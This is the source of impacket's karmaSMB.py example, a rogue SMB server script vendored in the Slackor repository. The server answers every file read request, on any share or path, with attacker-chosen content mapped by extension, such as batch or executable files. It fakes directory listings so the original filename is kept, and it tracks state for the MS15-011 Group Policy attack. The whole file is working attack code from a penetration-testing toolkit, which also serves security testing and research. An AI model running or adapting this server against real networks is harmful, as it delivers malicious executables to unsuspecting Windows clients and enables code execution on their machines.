github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/karmaSMB.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Karma SMB
     9  #
    10  # Author:
    11  #  Alberto Solino (@agsolino) 
    12  #  Original idea by @mubix
    13  #
    14  # Description:
    15  #   The idea of this script is to answer any file read request
    16  #   with a set of predefined contents based on the extension 
    17  #   asked, regardless of the sharename and/or path.
    18  #   When executing this script w/o a config file the pathname 
    19  #   file contents will be sent for every request. 
    20  #   If a config file is specified, format should be this way:
    21  #      <extension> = <pathname>
    22  #   for example:
    23  #      bat = /tmp/batchfile
    24  #      com = /tmp/comfile
    25  #      exe = /tmp/exefile
    26  #
    27  #   The SMB2 support works with a caveat. If two different
    28  #   filenames at the same share are requested, the first
    29  #   one will work and the second one will not work if the request
    30  #   is performed right away. This seems related to the 
    31  #   QUERY_DIRECTORY request, where we return the files available.
    32  #   In the first try, we return the file that was asked to open.
    33  #   In the second try, the client will NOT ask for another 
    34  #   QUERY_DIRECTORY but will use the cached one. This time the new file
    35  #   is not there, so the client assumes it doesn't exist.
    36  #   After a few seconds, looks like the client cache is cleared and
    37  #   the operation works again. Further research is needed trying
    38  #   to avoid this from happening.
    39  #
    40  #   SMB1 seems to be working fine on that scenario.
    41  #
    42  #   ToDo:
    43  #   [ ] A lot of testing needed under different OSes. 
    44  #       I'm still not sure how reliable this approach is.
    45  #   [ ] Add support for other SMB read commands. Right now just
    46  #       covering SMB_COM_NT_CREATE_ANDX
    47  #   [ ] Disable write request, now if the client tries to copy 
    48  #       a file back to us, it will overwrite the files we're 
    49  #       hosting. *CAREFUL!!!*
    50  #
    51  
    52  from __future__ import division
    53  from __future__ import print_function
    54  import sys
    55  import os
    56  import argparse
    57  import logging
    58  import ntpath
    59  try:
    60      import ConfigParser
    61  except ImportError:
    62      import configparser as ConfigParser
    63  from threading import Thread
    64  
    65  from impacket.examples import logger
    66  from impacket import smbserver, smb, version
    67  import impacket.smb3structs as smb2
    68  from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
    69  from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
    70      STATUS_OBJECT_PATH_NOT_FOUND
    71  from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
    72      getFileTime, queryPathInformation
    73  
    74  
    75  class KarmaSMBServer(Thread):
    76      def __init__(self, smb2Support = False):
    77          Thread.__init__(self)
    78          self.server = 0
    79          self.defaultFile = None
    80          self.extensions = {}
    81  
    82          # Here we write a mini config for the server
    83          smbConfig = ConfigParser.ConfigParser()
    84          smbConfig.add_section('global')
    85          smbConfig.set('global','server_name','server_name')
    86          smbConfig.set('global','server_os','UNIX')
    87          smbConfig.set('global','server_domain','WORKGROUP')
    88          smbConfig.set('global','log_file','smb.log')
    89          smbConfig.set('global','credentials_file','')
    90  
    91          # IPC always needed
    92          smbConfig.add_section('IPC$')
    93          smbConfig.set('IPC$','comment','Logon server share')
    94          smbConfig.set('IPC$','read only','yes')
    95          smbConfig.set('IPC$','share type','3')
    96          smbConfig.set('IPC$','path','')
    97  
    98          # NETLOGON always needed
    99          smbConfig.add_section('NETLOGON')
   100          smbConfig.set('NETLOGON','comment','Logon server share')
   101          smbConfig.set('NETLOGON','read only','no')
   102          smbConfig.set('NETLOGON','share type','0')
   103          smbConfig.set('NETLOGON','path','')
   104  
   105          # SYSVOL always needed
   106          smbConfig.add_section('SYSVOL')
   107          smbConfig.set('SYSVOL','comment','')
   108          smbConfig.set('SYSVOL','read only','no')
   109          smbConfig.set('SYSVOL','share type','0')
   110          smbConfig.set('SYSVOL','path','')
   111  
   112          if smb2Support:
   113              smbConfig.set("global", "SMB2Support", "True")
   114  
   115          self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
   116          self.server.processConfigFile()
   117  
   118          # Unregistering some dangerous and unwanted commands
   119          self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
   120          self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
   121          self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
   122          self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
   123          self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
   124          self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
   125  
   126          self.server.unregisterSmb2Command(smb2.SMB2_WRITE)
   127  
   128          self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
   129          self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
   130          self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
   131          self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)
   132  
   133          # And the same for SMB2
   134          self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
   135          self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
   136          self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
   137          self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
   138          self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)
   139  
   140          # Now we have to register the MS-SRVS server. This specially important for 
   141          # Windows 7+ and Mavericks clients since they WON'T (specially OSX) 
   142          # ask for shares using MS-RAP.
   143  
   144          self.__srvsServer = SRVSServer()
   145          self.__srvsServer.daemon = True
   146          self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
   147  
   148      def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
   149          connData = smbServer.getConnectionData(connId)
   150  
   151          respSetup = b''
   152          respParameters = b''
   153          respData = b''
   154          findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
   155  
   156          # 1. Let's grab the extension and map the file's contents we will deliver
   157          origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
   158          origFileName = os.path.basename(origPathName)
   159  
   160          _, origPathNameExtension = os.path.splitext(origPathName)
   161          origPathNameExtension = origPathNameExtension.upper()[1:]
   162  
   163          if origPathNameExtension.upper() in self.extensions:
   164              targetFile = self.extensions[origPathNameExtension.upper()]
   165          else:
   166              targetFile = self.defaultFile
   167  
   168          if recvPacket['Tid'] in connData['ConnectedShares']:
   169              path = connData['ConnectedShares'][recvPacket['Tid']]['path']
   170  
   171              # 2. We call the normal findFirst2 call, but with our targetFile
   172              searchResult, searchCount, errorCode = findFirst2(path, 
   173                            targetFile, 
   174                            findFirst2Parameters['InformationLevel'], 
   175                            findFirst2Parameters['SearchAttributes'], pktFlags = recvPacket['Flags2'] )
   176  
   177              respParameters = smb.SMBFindFirst2Response_Parameters()
   178              endOfSearch = 1
   179              sid = 0x80 # default SID
   180              searchCount = 0
   181              totalData = 0
   182              for i in enumerate(searchResult):
   183                  #i[1].dump()
   184                  try:
   185                      # 3. And we restore the original filename requested ;)
   186                      i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
   187                  except:
   188                      pass
   189  
   190                  data = i[1].getData()
   191                  lenData = len(data)
   192                  if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
   193                      # We gotta stop here and continue on a find_next2
   194                      endOfSearch = 0
   195                      # Simple way to generate a fid
   196                      if len(connData['SIDs']) == 0:
   197                         sid = 1
   198                      else:
   199                         sid = list(connData['SIDs'].keys())[-1] + 1
   200                      # Store the remaining search results in the ConnData SID
   201                      connData['SIDs'][sid] = searchResult[i[0]:]
   202                      respParameters['LastNameOffset'] = totalData
   203                      break
   204                  else:
   205                      searchCount +=1
   206                      respData += data
   207                      totalData += lenData
   208                      
   209  
   210              respParameters['SID'] = sid
   211              respParameters['EndOfSearch'] = endOfSearch
   212              respParameters['SearchCount'] = searchCount
   213          else:
   214              errorCode = STATUS_SMB_BAD_TID   
   215  
   216          smbServer.setConnectionData(connId, connData)
   217  
   218          return respSetup, respParameters, respData, errorCode
   219  
   220      def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
   221          connData = smbServer.getConnectionData(connId)
   222  
   223          ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
   224          ntCreateAndXData       = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
   225  
   226          respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
   227  
   228          #ntCreateAndXParameters.dump()
   229  
   230          # Let's try to avoid allowing write requests from the client back to us
   231          # not 100% bulletproof, plus also the client might be using other SMB
   232          # calls (e.g. SMB_COM_WRITE)
   233          createOptions =  ntCreateAndXParameters['CreateOptions']
   234          if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
   235              errorCode = STATUS_ACCESS_DENIED
   236          elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
   237              errorCode = STATUS_ACCESS_DENIED
   238          elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
   239              errorCode = STATUS_ACCESS_DENIED
   240          elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
   241              errorCode = STATUS_ACCESS_DENIED
   242          elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
   243              errorCode = STATUS_ACCESS_DENIED
   244          elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
   245              errorCode = STATUS_ACCESS_DENIED
   246          elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
   247              errorCode = STATUS_ACCESS_DENIED
   248          else:
   249              errorCode = STATUS_SUCCESS
   250  
   251          if errorCode == STATUS_ACCESS_DENIED:
   252              return [respSMBCommand], None, errorCode
   253  
   254          # 1. Let's grab the extension and map the file's contents we will deliver
   255          origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
   256  
   257          _, origPathNameExtension = os.path.splitext(origPathName)
   258          origPathNameExtension = origPathNameExtension.upper()[1:]
   259  
   260          if origPathNameExtension.upper() in self.extensions:
   261              targetFile = self.extensions[origPathNameExtension.upper()]
   262          else:
   263              targetFile = self.defaultFile
   264          
   265          # 2. We change the filename in the request for our targetFile
   266          ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
   267          SMBCommand['Data'] = ntCreateAndXData.getData()
   268          smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
   269  
   270          # 3. We call the original call with our modified data
   271          return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
   272  
   273      def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
   274          # The trick we play here is that Windows clients first ask for the file
   275          # and then it asks for the directory containing the file.
   276          # It is important to answer the right questions for the attack to work
   277          
   278          connData = smbServer.getConnectionData(connId)
   279  
   280          respSetup = b''
   281          respParameters = b''
   282          respData = b''
   283          errorCode = 0
   284  
   285          queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
   286  
   287          if recvPacket['Tid'] in connData['ConnectedShares']:
   288              path = ''
   289              try:
   290                 origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
   291                 origPathName = os.path.normpath(origPathName.replace('\\','/'))
   292  
   293                 if ('MS15011' in connData) is False:
   294                     connData['MS15011'] = {}
   295  
   296                 smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
   297                 if origPathName in connData['MS15011'] or origPathName == '.':
   298                     # We already processed this entry, now it's asking for a directory
   299                     infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
   300                 else:
   301                     # First time asked, asking for the file
   302                     infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
   303                     connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
   304              except Exception as e:
   305                 #import traceback
   306                 #traceback.print_exc()
   307                 smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
   308  
   309              if infoRecord is not None:
   310                  respParameters = smb.SMBQueryPathInformationResponse_Parameters()
   311                  respData = infoRecord
   312          else:
   313              errorCode = STATUS_SMB_BAD_TID
   314             
   315          smbServer.setConnectionData(connId, connData)
   316  
   317          return respSetup, respParameters, respData, errorCode
   318  
   319      def smb2Read(self, connId, smbServer, recvPacket):
   320          connData = smbServer.getConnectionData(connId)
   321          connData['MS15011']['StopConnection'] = True
   322          smbServer.setConnectionData(connId, connData)
   323          return self.origsmb2Read(connId, smbServer, recvPacket)
   324   
   325      def smb2Close(self, connId, smbServer, recvPacket):
   326          connData = smbServer.getConnectionData(connId)
   327          # We're closing the connection trying to flush the client's
   328          # cache.
   329          if connData['MS15011']['StopConnection'] is True:
   330              return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
   331          return self.origsmb2Close(connId, smbServer, recvPacket)
   332  
   333      def smb2Create(self, connId, smbServer, recvPacket):
   334          connData = smbServer.getConnectionData(connId)
   335  
   336          ntCreateRequest       = smb2.SMB2Create(recvPacket['Data'])
   337  
   338          # Let's try to avoid allowing write requests from the client back to us
   339          # not 100% bulletproof, plus also the client might be using other SMB
   340          # calls 
   341          createOptions =  ntCreateRequest['CreateOptions']
   342          if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
   343              errorCode = STATUS_ACCESS_DENIED
   344          elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
   345              errorCode = STATUS_ACCESS_DENIED
   346          elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
   347              errorCode = STATUS_ACCESS_DENIED
   348          elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
   349              errorCode = STATUS_ACCESS_DENIED
   350          elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
   351              errorCode = STATUS_ACCESS_DENIED
   352          elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
   353              errorCode = STATUS_ACCESS_DENIED
   354          elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
   355              errorCode = STATUS_ACCESS_DENIED
   356          else:
   357              errorCode = STATUS_SUCCESS
   358  
   359          if errorCode == STATUS_ACCESS_DENIED:
   360              return [smb2.SMB2Error()], None, errorCode
   361  
   362          # 1. Let's grab the extension and map the file's contents we will deliver
   363          origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))
   364  
   365          _, origPathNameExtension = os.path.splitext(origPathName)
   366          origPathNameExtension = origPathNameExtension.upper()[1:]
   367  
   368          # Are we being asked for a directory?
   369          if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
   370              if origPathNameExtension.upper() in self.extensions:
   371                  targetFile = self.extensions[origPathNameExtension.upper()]
   372              else:
   373                  targetFile = self.defaultFile
   374              connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
   375              smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
   376          else:
   377              targetFile = '/'
   378          
   379          # 2. We change the filename in the request for our targetFile
   380          try:
   381              ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
   382          except UnicodeDecodeError:
   383              import sys
   384              ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le')
   385          ntCreateRequest['NameLength'] = len(targetFile)*2
   386          recvPacket['Data'] = ntCreateRequest.getData()
   387  
   388          # 3. We call the original call with our modified data
   389          return self.origsmb2Create(connId, smbServer, recvPacket)
   390  
   391      def smb2QueryDirectory(self, connId, smbServer, recvPacket):
   392          # Windows clients with SMB2 will also perform a QueryDirectory
   393          # expecting to get the filename asked. So we deliver it :)
   394          connData = smbServer.getConnectionData(connId)
   395  
   396          respSMBCommand = smb2.SMB2QueryDirectory_Response()
   397          #queryDirectoryRequest   = smb2.SMB2QueryDirectory(recvPacket['Data'])
   398  
   399          errorCode = 0xff
   400          respSMBCommand['Buffer'] = b'\x00'
   401  
   402          errorCode = STATUS_SUCCESS
   403  
   404          #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
   405          #    return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
   406  
   407          if connData['MS15011']['FindDone'] is True:
   408              
   409              connData['MS15011']['FindDone'] = False
   410              smbServer.setConnectionData(connId, connData)
   411              return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES 
   412          else:
   413              origName, targetFile =  connData['MS15011']['FileData']
   414              (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)
   415  
   416              infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
   417              infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
   418  
   419              infoRecord['EaSize']            = 0
   420              infoRecord['EndOfFile']         = size
   421              infoRecord['AllocationSize']    = size
   422              infoRecord['CreationTime']      = getFileTime(ctime)
   423              infoRecord['LastAccessTime']    = getFileTime(atime)
   424              infoRecord['LastWriteTime']     = getFileTime(mtime)
   425              infoRecord['LastChangeTime']    = getFileTime(mtime)
   426              infoRecord['ShortName']         = b'\x00'*24
   427              #infoRecord['FileName']          = os.path.basename(origName).encode('utf-16le')
   428              infoRecord['FileName']          = origName.encode('utf-16le')
   429              padLen = (8-(len(infoRecord) % 8)) % 8
   430              infoRecord['NextEntryOffset']   = 0
   431  
   432              respSMBCommand['OutputBufferOffset'] = 0x48
   433              respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
   434              respSMBCommand['Buffer'] = infoRecord.getData() + b'\xaa'*padLen
   435              connData['MS15011']['FindDone'] = True
   436  
   437          smbServer.setConnectionData(connId, connData)
   438          return [respSMBCommand], None, errorCode
   439  
   440      def smb2TreeConnect(self, connId, smbServer, recvPacket):
   441          connData = smbServer.getConnectionData(connId)
   442  
   443          respPacket = smb2.SMB2Packet()
   444          respPacket['Flags']     = smb2.SMB2_FLAGS_SERVER_TO_REDIR
   445          respPacket['Status']    = STATUS_SUCCESS
   446          respPacket['CreditRequestResponse'] = 1
   447          respPacket['Command']   = recvPacket['Command']
   448          respPacket['SessionID'] = connData['Uid']
   449          respPacket['Reserved']  = recvPacket['Reserved']
   450          respPacket['MessageID'] = recvPacket['MessageID']
   451          respPacket['TreeID']    = recvPacket['TreeID']
   452  
   453          respSMBCommand        = smb2.SMB2TreeConnect_Response()
   454  
   455          treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
   456  
   457          errorCode = STATUS_SUCCESS
   458  
   459          ## Process here the request, does the share exist?
   460          path = recvPacket.getData()[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
   461          UNCOrShare = path.decode('utf-16le')
   462  
   463          # Is this a UNC?
   464          if ntpath.ismount(UNCOrShare):
   465              path = UNCOrShare.split('\\')[3]
   466          else:
   467              path = ntpath.basename(UNCOrShare)
   468  
   469          # We won't search for the share.. all of them exist :P
   470          #share = searchShare(connId, path.upper(), smbServer) 
   471          connData['MS15011'] = {}
   472          connData['MS15011']['FindDone'] = False
   473          connData['MS15011']['StopConnection'] = False
   474          share = {}
   475          if share is not None:
   476              # Simple way to generate a Tid
   477              if len(connData['ConnectedShares']) == 0:
   478                 tid = 1
   479              else:
   480                 tid = list(connData['ConnectedShares'].keys())[-1] + 1
   481              connData['ConnectedShares'][tid] = share
   482              connData['ConnectedShares'][tid]['path'] = '/'
   483              connData['ConnectedShares'][tid]['shareName'] = path
   484              respPacket['TreeID']    = tid
   485              #smbServer.log("Connecting Share(%d:%s)" % (tid,path))
   486          else:
   487              smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
   488              errorCode = STATUS_OBJECT_PATH_NOT_FOUND
   489              respPacket['Status'] = errorCode
   490          ##
   491  
   492          if path == 'IPC$':
   493              respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
   494              respSMBCommand['ShareFlags'] = 0x30
   495          else:
   496              respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
   497              respSMBCommand['ShareFlags'] = 0x0
   498  
   499          respSMBCommand['Capabilities'] = 0
   500          respSMBCommand['MaximalAccess'] = 0x011f01ff
   501  
   502          respPacket['Data'] = respSMBCommand
   503  
   504          smbServer.setConnectionData(connId, connData)
   505  
   506          return None, [respPacket], errorCode
   507  
   508      def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
   509          connData = smbServer.getConnectionData(connId)
   510  
   511          resp = smb.NewSMBPacket()
   512          resp['Flags1'] = smb.SMB.FLAGS1_REPLY
   513          resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
   514                           recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
   515  
   516          resp['Tid'] = recvPacket['Tid']
   517          resp['Mid'] = recvPacket['Mid']
   518          resp['Pid'] = connData['Pid']
   519  
   520          respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
   521          respParameters        = smb.SMBTreeConnectAndXResponse_Parameters()
   522          respData              = smb.SMBTreeConnectAndXResponse_Data()
   523  
   524          treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
   525  
   526          if treeConnectAndXParameters['Flags'] & 0x8:
   527              respParameters        = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
   528  
   529          treeConnectAndXData                    = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
   530          treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
   531          treeConnectAndXData.fromString(SMBCommand['Data'])
   532  
   533          errorCode = STATUS_SUCCESS
   534  
   535          UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
   536  
   537          # Is this a UNC?
   538          if ntpath.ismount(UNCOrShare):
   539              path = UNCOrShare.split('\\')[3]
   540          else:
   541              path = ntpath.basename(UNCOrShare)
   542  
   543          # We won't search for the share.. all of them exist :P
   544          smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
   545          #share = searchShare(connId, path, smbServer) 
   546          share = {}
   547          # Simple way to generate a Tid
   548          if len(connData['ConnectedShares']) == 0:
   549             tid = 1
   550          else:
   551             tid = list(connData['ConnectedShares'].keys())[-1] + 1
   552          connData['ConnectedShares'][tid] = share
   553          connData['ConnectedShares'][tid]['path'] = '/'
   554          connData['ConnectedShares'][tid]['shareName'] = path
   555          resp['Tid'] = tid
   556          #smbServer.log("Connecting Share(%d:%s)" % (tid,path))
   557  
   558          respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
   559  
   560          if path == 'IPC$':
   561              respData['Service']               = 'IPC'
   562          else:
   563              respData['Service']               = path
   564          respData['PadLen']                = 0
   565          respData['NativeFileSystem']      = encodeSMBString(recvPacket['Flags2'], 'NTFS' ).decode()
   566  
   567          respSMBCommand['Parameters']             = respParameters
   568          respSMBCommand['Data']                   = respData 
   569  
   570          resp['Uid'] = connData['Uid']
   571          resp.addCommand(respSMBCommand)
   572          smbServer.setConnectionData(connId, connData)
   573  
   574          return None, [resp], errorCode
   575  
   576      def _start(self):
   577          self.server.serve_forever()
   578  
   579      def run(self):
   580          logging.info("Setting up SMB Server")
   581          self._start()
   582  
   583      def setDefaultFile(self, filename):
   584          self.defaultFile = filename
   585  
   586      def setExtensionsConfig(self, filename):
   587          for line in filename.readlines():
   588              line = line.strip('\r\n ')
   589              if line.startswith('#') is not True and len(line) > 0:
   590                  extension, pathName = line.split('=')
   591                  self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())
   592  
   593  # Process command-line arguments.
   594  if __name__ == '__main__':
   595      # Init the example's logger theme
   596      logger.init()
   597      print(version.BANNER)
   598      parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will "
   599                                                                       "return the pathname contents")
   600      parser.add_argument("--help", action="help", help='show this help message and exit')
   601      parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB "
   602                                                                                 "clients")
   603      parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map '
   604                          'extensions to files to deliver. For those extensions not present, pathname will be delivered')
   605      parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
   606  
   607  
   608      if len(sys.argv)==1:
   609          parser.print_help()
   610          sys.exit(1)
   611  
   612      try:
   613         options = parser.parse_args()
   614      except Exception as e:
   615         logging.critical(str(e))
   616         sys.exit(1)
   617  
   618      s = KarmaSMBServer(options.smb2support)
   619      s.setDefaultFile(os.path.normpath(options.fileName))
   620      if options.config is not None:
   621          s.setExtensionsConfig(options.config)
   622  
   623      s.start()
   624          
   625      logging.info("Servers started, waiting for connections")
   626      while True:
   627          try:
   628              sys.stdin.read()
   629          except KeyboardInterrupt:
   630              sys.exit(1)
   631          else:
   632              pass